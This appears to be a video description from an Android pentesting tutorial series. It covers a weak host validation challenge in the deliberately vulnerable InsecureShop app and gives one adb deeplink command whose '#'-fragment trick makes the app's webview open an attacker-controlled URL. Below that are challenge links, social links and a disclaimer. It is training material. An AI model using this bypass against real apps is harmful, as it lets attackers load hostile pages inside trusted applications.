Android Weak Host Validation | Android Pentesting

# Deeplink and Weak Host Validation

In this part we're going to see how weak host validation would lead to opening an attacker controlled URL in the application's webview.

Running Exploit Through ADB :
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=https://aseemshrey.in/#insecureshopapp.com"

▬▬▬▬▬▬ ? Links ▬▬▬▬▬▬

Download APK : https://github.com/optiv/InsecureShop
Challenge Link : https://docs.insecureshopapp.com/insecureshop-challenges/weak-host-validation
Exploit Gist : https://gist.github.com/LuD1161/9ebbef8e1d947ec4587a790571e55109
Hosted Exploit : https://bl.ocks.org/LuD1161/raw/9ebbef8e1d947ec4587a790571e55109/


▬▬▬▬▬▬ ? Other Links ▬▬▬▬▬▬

? $100 Digital Ocean referral link :?
https://m.do.co/c/5e8e8b6c9c39

Google FeedBack Form : https://forms.gle/rA9oy5wqN5GSLkh8A
Discord : https://discord.gg/bGyvctT
Subreddit : https://www.reddit.com/r/HackingSimplified
Telegram : https://t.me/hackingsimplified42

Hope it was worth your time.
Stay tuned.

Thank you everyone :)

▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

Disclaimer :
These materials are for educational and research purposes only.
Do not attempt to violate the law with anything contained here. If this is your intention, then LEAVE NOW! The creator of this video, nor anyone else affiliated in any way, is going to accept responsibility for your actions.
------------------------------------------------------------------------------------------------------------------------

#Android #HackingSimplified #Hacking #beTheHACR #websecurity #howtohack #hack #howtobeahacker #hackingCourse #bugBounty #bug #bounty #hacker #freeHacking #freecourse
hacking ,HackingSimplified, Hacking Simplified, Start Hacking ,Be The HACR, web security, how to be a hacker, free hacking, free hacking course, web security,hacking Course,bug Bounty,hacker,bug bounty,cyber security,bug bounty hunting